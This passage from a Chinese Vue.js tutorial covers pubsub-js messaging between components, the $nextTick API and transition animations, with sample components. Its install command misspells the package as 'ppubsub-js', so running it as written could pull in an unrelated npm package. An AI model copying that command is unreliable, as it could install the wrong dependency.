<h4>学生年龄:{{age}}</h4>
<button @click="sendStudentName">传递学生名给School</button>
</div>
</template>
<script>
import pubsub from 'pubsub-js'
export default {
name: "MyStudent",
data() {
return {
name: '林枫',
age: 19
}
},
methods: {
sendStudentName(){
//发布消息
pubsub.publish('hello', this.name)
}
}
}
</script>
<style scoped>
.student{
background: blue;
padding: 5px;
}
</style>
总结:
消息订阅与发布,是一种组件之间的通信技术,适用于任意组件之间的通信
使用步骤
安装:
npm i ppubsub-js
引入:
import pubsub from 'pubsub-js'
接收数据
methods: { demo(msgName, data){ ...... } ...... mounted(){ //订阅消息 this.pubId = pubsub.subscribe('xxx', this.demo) }, beforeDestroy() { //vc 销毁之前,取消订阅 pubsub.unsubscribe(this.pubId) } }
- 提供数据:
pubsub.publish('xxx', 数据)
4.14 $nextTick
语法:this.$nextTick(回调函数)
作用:在下一次 DOM 更新结束之后,才执行指定的回调
什么时候用:当改变数据之后,要基于更新后的新 DOM 进行某些操作是,要在 nextTicck
所指定的回调函数中执行
demo(xxx){
if(....){xxxx}
else{xxxxx}
this.$nextTick(function(){
//当 input 框渲染到界面上之后,再去获取真实 DOM 的焦点
this.$refs.inputTitle.focus()
})
}
4.15 过渡与动画
实现需求:页面上只有一个按钮和一段文字,使用按钮来控制文字的显示与否,并且文字出现和消失需要添加过渡动画
使用动画实现
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<!--使用该标签包裹后,Vue 会在合适的时候播放自定义的动画-->
<!--transition标签使用 name="xxx" 属性之后,定义的动画就需要使用 xxx-enter-active 等形式-->
<!--appear表示刚刷新页面就会显示进场动画-->
<transition name="hello" appear>
<h3 class="demo" v-show="isShow">Hello Vue!</h3>
</transition>
</div>
</template>
<script>
export default {
name: "MyTest",
data(){
return{
isShow: true
}
}
}
</script>
<style scoped>
.demo{
color: white;
text-align: center;
width: 110px;
height: 30px;
background: gray;
}
/* 因为使用了 name 属性,所以这里要用 hello-enter-active,若不使用 name 属性,则默认为 v-enter-active */
.hello-enter-active {
animation: my-move 0.5s linear;
}
.hello-leave-active {
animation: my-move 0.5s reverse linear;
}
@keyframes my-move{
from{
transform: translateX(-100%);
}
to {
transform: translateX(5px);
}
}
</style>
未完~~~